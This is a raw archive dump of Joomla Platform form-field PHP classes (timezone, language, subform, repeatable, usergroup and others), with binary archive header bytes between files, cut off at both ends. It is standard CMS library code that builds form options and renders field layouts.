$hideDefault == '1'); $stripExt = (string) $this->element['stripext']; $this->stripExt = ($stripExt == 'true' || $stripExt == 'stripExt' || $stripExt == '1'); // Get the path in which to search for file options. $this->directory = (string) $this->element['directory']; } return $return; } /** * Method to get the list of files for the field options. * Specify the target directory with a directory attribute * Attributes allow an exclude mask and stripping of extensions from file name. * Default attribute may optionally be set to null (no file) or -1 (use a default). * * @return array The field option objects. * * @since 1.7.0 */ protected function getOptions() { $options = array(); $path = $this->directory; if (!is_dir($path)) { $path = JPATH_ROOT . '/' . $path; } $path = JPath::clean($path); // Prepend some default options based on field attributes. if (!$this->hideNone) { $options[] = JHtml::_('select.option', '-1', JText::alt('JOPTION_DO_NOT_USE', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname))); } if (!$this->hideDefault) { $options[] = JHtml::_('select.option', '', JText::alt('JOPTION_USE_DEFAULT', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname))); } // Get a list of files in the search path with the given filter. $files = JFolder::files($path, $this->filter); // Build the options list from the list of files. if (is_array($files)) { foreach ($files as $file) { // Check to see if the file is in the exclude mask. if ($this->exclude) { if (preg_match(chr(1) . $this->exclude . chr(1), $file)) { continue; } } // If the extension is to be stripped, do it. if ($this->stripExt) { $file = JFile::stripExt($file); } $options[] = JHtml::_('select.option', $file, $file); } } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK�\%���LLjoomla/form/fields/timezone.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('groupedlist'); /** * Form Field class for the Joomla Platform. * * @since 1.7.0 */ class JFormFieldTimezone extends JFormFieldGroupedList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Timezone'; /** * The list of available timezone groups to use. * * @var array * @since 1.7.0 */ protected static $zones = array('Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific'); /** * The keyField of timezone field. * * @var integer * @since 3.2 */ protected $keyField; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'keyField': return $this->keyField; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'keyField': $this->keyField = (string) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->keyField = (string) $this->element['key_field']; } return $return; } /** * Method to get the time zone field option groups. * * @return array The field option objects as a nested array in groups. * * @since 1.7.0 */ protected function getGroups() { $groups = array(); // Get the list of time zones from the server. $zones = DateTimeZone::listIdentifiers(); // Build the group lists. foreach ($zones as $zone) { // Time zones not in a group we will ignore. if (strpos($zone, '/') === false) { continue; } // Get the group/locale from the timezone. list ($group, $locale) = explode('/', $zone, 2); // Only use known groups. if (in_array($group, self::$zones)) { // Initialize the group if necessary. if (!isset($groups[$group])) { $groups[$group] = array(); } // Only add options where a locale exists. if (!empty($locale)) { $groups[$group][$zone] = JHtml::_('select.option', $zone, str_replace('_', ' ', $locale), 'value', 'text', false); } } } // Sort the group lists. ksort($groups); foreach ($groups as &$location) { sort($location); } // Merge any additional groups in the XML definition. $groups = array_merge(parent::getGroups(), $groups); return $groups; } } PK�\�ޥ�joomla/form/fields/language.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Supports a list of installed application languages * * @see JFormFieldContentLanguage for a select list of content languages. * @since 1.7.0 */ class JFormFieldLanguage extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Language'; /** * Method to get the field options. * * @return array The field option objects. * * @since 1.7.0 */ protected function getOptions() { // Initialize some field attributes. $client = (string) $this->element['client']; if ($client != 'site' && $client != 'administrator') { $client = 'site'; } // Make sure the languages are sorted base on locale instead of random sorting $languages = JLanguageHelper::createLanguageList($this->value, constant('JPATH_' . strtoupper($client)), true, true); if (count($languages) > 1) { usort( $languages, function ($a, $b) { return strcmp($a['value'], $b['value']); } ); } // Merge any additional options in the XML definition. $options = array_merge( parent::getOptions(), $languages ); // Set the default value active language if ($langParams = JComponentHelper::getParams('com_languages')) { switch ((string) $this->value) { case 'site': case 'frontend': case '0': $this->value = $langParams->get('site', 'en-GB'); break; case 'admin': case 'administrator': case 'backend': case '1': $this->value = $langParams->get('administrator', 'en-GB'); break; case 'active': case 'auto': $lang = JFactory::getLanguage(); $this->value = $lang->getTag(); break; default: break; } } return $options; } } PK�\��� joomla/form/fields/imagelist.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('filelist'); /** * Supports an HTML select list of image * * @since 1.7.0 */ class JFormFieldImageList extends JFormFieldFileList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'ImageList'; /** * Method to get the list of images field options. * Use the filter attribute to specify allowable file extensions. * * @return array The field option objects. * * @since 1.7.0 */ protected function getOptions() { // Define the image file type filter. $this->filter = '\.png$|\.gif$|\.jpg$|\.bmp$|\.ico$|\.jpeg$|\.psd$|\.eps$'; // Get the field options. return parent::getOptions(); } } PK�\��}���joomla/form/fields/radio.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Provides radio button inputs * * @link http://www.w3.org/TR/html-markup/command.radio.html#command.radio * @since 1.7.0 */ class JFormFieldRadio extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Radio'; /** * Name of the layout being used to render the field * * @var string * @since 3.5 */ protected $layout = 'joomla.form.field.radio'; /** * Method to get the radio button field input markup. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { if (empty($this->layout)) { throw new UnexpectedValueException(sprintf('%s has no layout assigned.', $this->name)); } return $this->getRenderer($this->layout)->render($this->getLayoutData()); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.5 */ protected function getLayoutData() { $data = parent::getLayoutData(); $extraData = array( 'options' => $this->getOptions(), 'value' => (string) $this->value, ); return array_merge($data, $extraData); } } PK�\� ���joomla/form/fields/aliastag.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Framework. * * @since 2.5.0 */ class JFormFieldAliastag extends JFormFieldList { /** * The field type. * * @var string * @since 3.6 */ protected $type = 'Aliastag'; /** * Method to get a list of options for a list input. * * @return array An array of JHtml options. * * @since 3.6 */ protected function getOptions() { // Get list of tag type alias $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('Distinct type_alias AS value, type_alias AS text') ->from('#__contentitem_tag_map'); $db->setQuery($query); $options = $db->loadObjectList(); $lang = JFactory::getLanguage(); foreach ($options as $i => $item) { $parts = explode('.', $item->value); $extension = $parts[0]; $lang->load($extension . '.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load($extension, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $extension), null, false, true); $options[$i]->text = JText::_(strtoupper($extension) . '_TAGS_' . strtoupper($parts[1])); } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); // Sort by language value usort( $options, function($a, $b) { return strcmp($a->text, $b->text); } ); return $options; } } PK�\�pn��joomla/form/fields/meter.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('number'); /** * Form Field class for the Joomla Platform. * Provides a meter to show value in a range. * * @link http://www.w3.org/TR/html-markup/input.text.html#input.text * @since 3.2 */ class JFormFieldMeter extends JFormFieldNumber { /** * The form field type. * * @var string * @since 3.2 */ protected $type = 'Meter'; /** * The width of the field increased or decreased. * * @var string * @since 3.2 */ protected $width; /** * Whether the field is active or not. * * @var boolean * @since 3.2 */ protected $active = false; /** * Whether the field is animated or not. * * @var boolean * @since 3.2 */ protected $animated = true; /** * The color of the field * * @var boolean * @since 3.2 */ protected $color; /** * Name of the layout being used to render the field * * @var string * @since 3.7 */ protected $layout = 'joomla.form.field.meter'; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'active': case 'width': case 'animated': case 'color': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'width': case 'color': $this->$name = (string) $value; break; case 'active': $value = (string) $value; $this->active = ($value === 'true' || $value === $name || $value === '1'); break; case 'animated': $value = (string) $value; $this->animated = !($value === 'false' || $value === 'off' || $value === '0'); break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->width = isset($this->element['width']) ? (string) $this->element['width'] : ''; $this->color = isset($this->element['color']) ? (string) $this->element['color'] : ''; $active = (string) $this->element['active']; $this->active = ($active == 'true' || $active == 'on' || $active == '1'); $animated = (string) $this->element['animated']; $this->animated = !($animated == 'false' || $animated == 'off' || $animated == '0'); } return $return; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 3.2 */ protected function getInput() { // Trim the trailing line in the layout file return rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()), PHP_EOL); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.5 */ protected function getLayoutData() { $data = parent::getLayoutData(); // Initialize some field attributes. $extraData = array( 'width' => $this->width, 'color' => $this->color, 'animated' => $this->animated, 'active' => $this->active, 'max' => $this->max, 'min' => $this->min, 'step' => $this->step, ); return array_merge($data, $extraData); } } PK�\�B�n$n$joomla/form/fields/subform.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\CMS\Form\Form; jimport('joomla.filesystem.path'); /** * The Field to load the form inside current form * * @Example with all attributes: * <field name="field-name" type="subform" * formsource="path/to/form.xml" min="1" max="3" multiple="true" buttons="add,remove,move" * layout="joomla.form.field.subform.repeatable-table" groupByFieldset="false" component="com_example" client="site" * label="Field Label" description="Field Description" /> * * @since 3.6 */ class JFormFieldSubform extends JFormField { /** * The form field type. * @var string */ protected $type = 'Subform'; /** * Form source * @var string */ protected $formsource; /** * Minimum items in repeat mode * @var int */ protected $min = 0; /** * Maximum items in repeat mode * @var int */ protected $max = 1000; /** * Layout to render the form * @var string */ protected $layout = 'joomla.form.field.subform.default'; /** * Whether group subform fields by it`s fieldset * @var boolean */ protected $groupByFieldset = false; /** * Which buttons to show in miltiple mode * @var array $buttons */ protected $buttons = array('add' => true, 'remove' => true, 'move' => true); /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.6 */ public function __get($name) { switch ($name) { case 'formsource': case 'min': case 'max': case 'layout': case 'groupByFieldset': case 'buttons': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.6 */ public function __set($name, $value) { switch ($name) { case 'formsource': $this->formsource = (string) $value; // Add root path if we have a path to XML file if (strrpos($this->formsource, '.xml') === strlen($this->formsource) - 4) { $this->formsource = JPath::clean(JPATH_ROOT . '/' . $this->formsource); } break; case 'min': $this->min = (int) $value; break; case 'max': if ($value) { $this->max = max(1, (int) $value); } break; case 'groupByFieldset': if ($value !== null) { $value = (string) $value; $this->groupByFieldset = !($value === 'false' || $value === 'off' || $value === '0'); } break; case 'layout': $this->layout = (string) $value; // Make sure the layout is not empty. if (!$this->layout) { // Set default value depend from "multiple" mode $this->layout = !$this->multiple ? 'joomla.form.field.subform.default' : 'joomla.form.field.subform.repeatable'; } break; case 'buttons': if (!$this->multiple) { $this->buttons = array(); break; } if ($value && !is_array($value)) { $value = explode(',', (string) $value); $value = array_fill_keys(array_filter($value), true); } if ($value) { $value = array_merge(array('add' => false, 'remove' => false, 'move' => false), $value); $this->buttons = $value; } break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the <field /> tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. * * @return boolean True on success. * * @since 3.6 */ public function setup(SimpleXMLElement $element, $value, $group = null) { if (!parent::setup($element, $value, $group)) { return false; } foreach (array('formsource', 'min', 'max', 'layout', 'groupByFieldset', 'buttons') as $attributeName) { $this->__set($attributeName, $element[$attributeName]); } if ($this->value && is_string($this->value)) { // Guess here is the JSON string from 'default' attribute $this->value = json_decode($this->value, true); } if (!$this->formsource && $element->form) { // Set the formsource parameter from the content of the node $this->formsource = $element->form->saveXML(); } return true; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 3.6 */ protected function getInput() { // Prepare data for renderer $data = parent::getLayoutData(); $tmpl = null; $control = $this->name; try { $tmpl = $this->loadSubForm(); $forms = $this->loadSubFormData($tmpl); } catch (Exception $e) { return $e->getMessage(); } $data['tmpl'] = $tmpl; $data['forms'] = $forms; $data['min'] = $this->min; $data['max'] = $this->max; $data['control'] = $control; $data['buttons'] = $this->buttons; $data['fieldname'] = $this->fieldname; $data['groupByFieldset'] = $this->groupByFieldset; /** * For each rendering process of a subform element, we want to have a * separate unique subform id present to could distinguish the eventhandlers * regarding adding/moving/removing rows from nested subforms from their parents. */ static $unique_subform_id = 0; $data['unique_subform_id'] = ('sr-' . ($unique_subform_id++)); // Prepare renderer $renderer = $this->getRenderer($this->layout); // Allow to define some JLayout options as attribute of the element if ($this->element['component']) { $renderer->setComponent((string) $this->element['component']); } if ($this->element['client']) { $renderer->setClient((string) $this->element['client']); } // Render $html = $renderer->render($data); // Add hidden input on front of the subform inputs, in multiple mode // for allow to submit an empty value if ($this->multiple) { $html = '<input name="' . $this->name . '" type="hidden" value="" />' . $html; } return $html; } /** * Method to get the name used for the field input tag. * * @param string $fieldName The field element name. * * @return string The name to be used for the field input tag. * * @since 3.6 */ protected function getName($fieldName) { $name = ''; // If there is a form control set for the attached form add it first. if ($this->formControl) { $name .= $this->formControl; } // If the field is in a group add the group control to the field name. if ($this->group) { // If we already have a name segment add the group control as another level. $groups = explode('.', $this->group); if ($name) { foreach ($groups as $group) { $name .= '[' . $group . ']'; } } else { $name .= array_shift($groups); foreach ($groups as $group) { $name .= '[' . $group . ']'; } } } // If we already have a name segment add the field name as another level. if ($name) { $name .= '[' . $fieldName . ']'; } else { $name .= $fieldName; } return $name; } /** * Loads the form instance for the subform. * * @return Form The form instance. * * @throws InvalidArgumentException if no form provided. * @throws RuntimeException if the form could not be loaded. * * @since 3.9.7 */ public function loadSubForm() { $control = $this->name; if ($this->multiple) { $control .= '[' . $this->fieldname . 'X]'; } // Prepare the form template $formname = 'subform.' . str_replace(array('jform[', '[', ']'), array('', '.', ''), $this->name); $tmpl = Form::getInstance($formname, $this->formsource, array('control' => $control)); return $tmpl; } /** * Binds given data to the subform and its elements. * * @param Form &$subForm Form instance of the subform. * * @return Form[] Array of Form instances for the rows. * * @since 3.9.7 */ private function loadSubFormData(Form &$subForm) { $value = $this->value ? (array) $this->value : array(); // Simple form, just bind the data and return one row. if (!$this->multiple) { $subForm->bind($value); return array($subForm); } // Multiple rows possible: Construct array and bind values to their respective forms. $forms = array(); $value = array_values($value); // Show as many rows as we have values, but at least min and at most max. $c = max($this->min, min(count($value), $this->max)); for ($i = 0; $i < $c; $i++) { $control = $this->name . '[' . $this->fieldname . $i . ']'; $itemForm = Form::getInstance($subForm->getName() . $i, $this->formsource, array('control' => $control)); if (!empty($value[$i])) { $itemForm->bind($value[$i]); } $forms[] = $itemForm; } return $forms; } } PK�\T�М�%joomla/form/fields/predefinedlist.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage Form * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field to load a list of predefined values * * @since 3.2 */ abstract class JFormFieldPredefinedList extends JFormFieldList { /** * The form field type. * * @var string * @since 3.2 */ protected $type = 'PredefinedList'; /** * Cached array of the category items. * * @var array * @since 3.2 */ protected static $options = array(); /** * Available predefined options * * @var array * @since 3.2 */ protected $predefinedOptions = array(); /** * Translate options labels ? * * @var boolean * @since 3.2 */ protected $translate = true; /** * Method to get the options to populate list * * @return array The field option objects. * * @since 3.2 */ protected function getOptions() { // Hash for caching $hash = md5($this->element); $type = strtolower($this->type); if (!isset(static::$options[$type][$hash]) && !empty($this->predefinedOptions)) { static::$options[$type][$hash] = parent::getOptions(); $options = array(); // Allow to only use specific values of the predefined list $filter = isset($this->element['filter']) ? explode(',', $this->element['filter']) : array(); foreach ($this->predefinedOptions as $value => $text) { $val = (string) $value; if (empty($filter) || in_array($val, $filter, true)) { $text = $this->translate ? JText::_($text) : $text; $options[] = (object) array( 'value' => $value, 'text' => $text, ); } } static::$options[$type][$hash] = array_merge(static::$options[$type][$hash], $options); } return static::$options[$type][$hash]; } } PK�\fS%%#joomla/form/fields/cachehandler.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Provides a list of available cache handlers * * @see JCache * @since 1.7.0 */ class JFormFieldCacheHandler extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'CacheHandler'; /** * Method to get the field options. * * @return array The field option objects. * * @since 1.7.0 */ protected function getOptions() { $options = array(); // Convert to name => name array. foreach (JCache::getStores() as $store) { $options[] = JHtml::_('select.option', $store, JText::_('JLIB_FORM_VALUE_CACHE_' . $store), 'value', 'text'); } $options = array_merge(parent::getOptions(), $options); return $options; } } PK�\�)F__!joomla/form/fields/repeatable.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Display a JSON loaded window with a repeatable set of sub fields * * @since 3.2 * * @deprecated 4.0 Use JFormFieldSubform */ class JFormFieldRepeatable extends JFormField { /** * The form field type. * * @var string * @since 3.2 */ protected $type = 'Repeatable'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 3.2 */ protected function getInput() { JLog::add('JFormFieldRepeatable is deprecated. Use JFormFieldSubform instead.', JLog::WARNING, 'deprecated'); // Initialize variables. $subForm = new JForm($this->name, array('control' => 'jform')); $xml = $this->element->children()->asXml(); $subForm->load($xml); // Needed for repeating modals in gmaps // @TODO: what and where??? $subForm->repeatCounter = (int) @$this->form->repeatCounter; $children = $this->element->children(); $subForm->setFields($children); // If a maximum value isn't set then we'll make the maximum amount of cells a large number $maximum = $this->element['maximum'] ? (int) $this->element['maximum'] : '999'; // Build a Table $head_row_str = array(); $body_row_str = array(); $head_row_str[] = '<th></th>'; $body_row_str[] = '<td><span class="sortable-handler " style="cursor: move;"><span class="icon-menu" aria-hidden="true"></span></span></td>'; foreach ($subForm->getFieldset() as $field) { // Reset name to simple $field->name = (string) $field->element['name']; // Build heading $head_row_str[] = '<th>' . strip_tags($field->getLabel($field->name)); $head_row_str[] = '<br /><small style="font-weight:normal">' . JText::_($field->description) . '</small>'; $head_row_str[] = '</th>'; // Build body $body_row_str[] = '<td>' . $field->getInput() . '</td>'; } // Append buttons $head_row_str[] = '<th><div class="btn-group"><a href="#" class="add btn button btn-success" aria-label="' . JText::_('JGLOBAL_FIELD_ADD') . '">'; $head_row_str[] = '<span class="icon-plus" aria-hidden="true"></span> </a></div></th>'; $body_row_str[] = '<td><div class="btn-group">'; $body_row_str[] = '<a class="add btn button btn-success" aria-label="' . JText::_('JGLOBAL_FIELD_ADD') . '">'; $body_row_str[] = '<span class="icon-plus" aria-hidden="true"></span> </a>'; $body_row_str[] = '<a class="remove btn button btn-danger" aria-label="' . JText::_('JGLOBAL_FIELD_REMOVE') . '">'; $body_row_str[] = '<span class="icon-minus" aria-hidden="true"></span> </a>'; $body_row_str[] = '</div></td>'; // Put all table parts together $table = '<table id="' . $this->id . '_table" class="adminlist ' . $this->element['class'] . ' table table-striped">' . '<thead><tr>' . implode("\n", $head_row_str) . '</tr></thead>' . '<tbody><tr>' . implode("\n", $body_row_str) . '</tr></tbody>' . '</table>'; // And finally build a main container $str = array(); $str[] = '<div id="' . $this->id . '_container">'; // Add the table to modal $str[] = '<div id="' . $this->id . '_modal" class="modal hide">'; $str[] = $table; $str[] = '<div class="modal-footer">'; $str[] = '<button class="close-modal btn button btn-link">' . JText::_('JCANCEL') . '</button>'; $str[] = '<button class="save-modal-data btn button btn-primary">' . JText::_('JAPPLY') . '</button>'; $str[] = '</div>'; // Close modal container $str[] = '</div>'; // Close main container $str[] = '</div>'; // Button for display the modal window $select = (string) $this->element['select'] ? JText::_((string) $this->element['select']) : JText::_('JLIB_FORM_BUTTON_SELECT'); $icon = $this->element['icon'] ? '<span class="icon-' . $this->element['icon'] . '"></span> ' : ''; $str[] = '<button class="open-modal btn" id="' . $this->id . '_button" >' . $icon . $select . '</button>'; if (is_array($this->value)) { $this->value = array_shift($this->value); } // Script params $data = array(); $data[] = 'data-container="#' . $this->id . '_container"'; $data[] = 'data-modal-element="#' . $this->id . '_modal"'; $data[] = 'data-repeatable-element="table tbody tr"'; $data[] = 'data-bt-add="a.add"'; $data[] = 'data-bt-remove="a.remove"'; $data[] = 'data-bt-modal-open="#' . $this->id . '_button"'; $data[] = 'data-bt-modal-close="button.close-modal"'; $data[] = 'data-bt-modal-save-data="button.save-modal-data"'; $data[] = 'data-maximum="' . $maximum . '"'; $data[] = 'data-input="#' . $this->id . '"'; // Hidden input, where the main value is $value = htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8'); $str[] = '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . $value . '" class="form-field-repeatable" ' . implode(' ', $data) . ' />'; // Add scripts JHtml::_('bootstrap.framework'); // Depends on jQuery UI JHtml::_('jquery.ui', array('core', 'sortable')); JHtml::_('script', 'jui/sortablelist.js', array('version' => 'auto', 'relative' => true)); JHtml::_('stylesheet', 'jui/sortablelist.css', array('version' => 'auto', 'relative' => true)); JHtml::_('script', 'system/repeatable.js', array('framework' => true, 'version' => 'auto', 'relative' => true)); $javascript = 'jQuery(document).ready(function($) { $("#' . $this->id . '_table tbody").sortable(); });'; JFactory::getDocument()->addScriptDeclaration($javascript); return implode("\n", $str); } } PK�\S7٪��joomla/form/fields/email.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('text'); /** * Form Field class for the Joomla Platform. * Provides and input field for email addresses * * @link http://www.w3.org/TR/html-markup/input.email.html#input.email * @see JFormRuleEmail * @since 1.7.0 */ class JFormFieldEMail extends JFormFieldText { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Email'; /** * Name of the layout being used to render the field * * @var string * @since 3.7 */ protected $layout = 'joomla.form.field.email'; /** * Method to get the field input markup for email addresses. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { // Trim the trailing line in the layout file return rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()), PHP_EOL); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.5 */ protected function getLayoutData() { $data = parent::getLayoutData(); $extraData = array( 'maxLength' => $this->maxLength, 'multiple' => $this->multiple, ); return array_merge($data, $extraData); } } PK�\d�j m m joomla/form/fields/usergroup.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Supports a nested checkbox field listing user groups. * Multiselect is available by default. * * @since 1.7.0 * @deprecated 3.5 */ class JFormFieldUsergroup extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Usergroup'; /** * Method to get the user group field input markup. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { JLog::add('JFormFieldUsergroup is deprecated. Use JFormFieldUserGroupList instead.', JLog::WARNING, 'deprecated'); $options = array(); $attr = ''; // Initialize some field attributes. $attr .= !empty($this->class) ? ' class="' . $this->class . '"' : ''; $attr .= $this->disabled ? ' disabled' : ''; $attr .= $this->size ? ' size="' . $this->size . '"' : ''; $attr .= $this->multiple ? ' multiple' : ''; $attr .= $this->required ? ' required aria-required="true"' : ''; $attr .= $this->autofocus ? ' autofocus' : ''; // Initialize JavaScript field attributes. $attr .= !empty($this->onchange) ? ' onchange="' . $this->onchange . '"' : ''; $attr .= !empty($this->onclick) ? ' onclick="' . $this->onclick . '"' : ''; // Iterate through the children and build an array of options. foreach ($this->element->children() as $option) { // Only add <option /> elements. if ($option->getName() != 'option') { continue; } $disabled = (string) $option['disabled']; $disabled = ($disabled == 'true' || $disabled == 'disabled' || $disabled == '1'); // Create a new option object based on the <option /> element. $tmp = JHtml::_( 'select.option', (string) $option['value'], trim((string) $option), 'value', 'text', $disabled ); // Set some option attributes. $tmp->class = (string) $option['class']; // Set some JavaScript option attributes. $tmp->onclick = (string) $option['onclick']; // Add the option object to the result set. $options[] = $tmp; } return JHtml::_('access.usergroup', $this->name, $this->value, $attr, $options, $this->id); } } PK�\������joomla/form/fields/hidden.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Provides a hidden field * * @link http://www.w3.org/TR/html-markup/input.hidden.html#input.hidden * @since 1.7.0 */ class JFormFieldHidden extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Hidden'; /** * Name of the layout being used to render the field * * @var string * @since 3.7 */ protected $layout = 'joomla.form.field.hidden'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { // Trim the trailing line in the layout file return rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()), PHP_EOL); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7 */ protected function getLayoutData() { return parent::getLayoutData(); } } PK�\�,��!joomla/form/fields/checkboxes.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Displays options as a list of checkboxes. * Multiselect may be forced to be true. * * @see JFormFieldCheckbox * @since 1.7.0 */ class JFormFieldCheckboxes extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Checkboxes'; /** * Name of the layout being used to render the field * * @var string * @since 3.5 */ protected $layout = 'joomla.form.field.checkboxes'; /** * Flag to tell the field to always be in multiple values mode. * * @var boolean * @since 1.7.0 */ protected $forceMultiple = true; /** * The comma separated list of checked checkboxes value. * * @var mixed * @since 3.2 */ public $checkedOptions; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'forceMultiple': case 'checkedOptions': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed 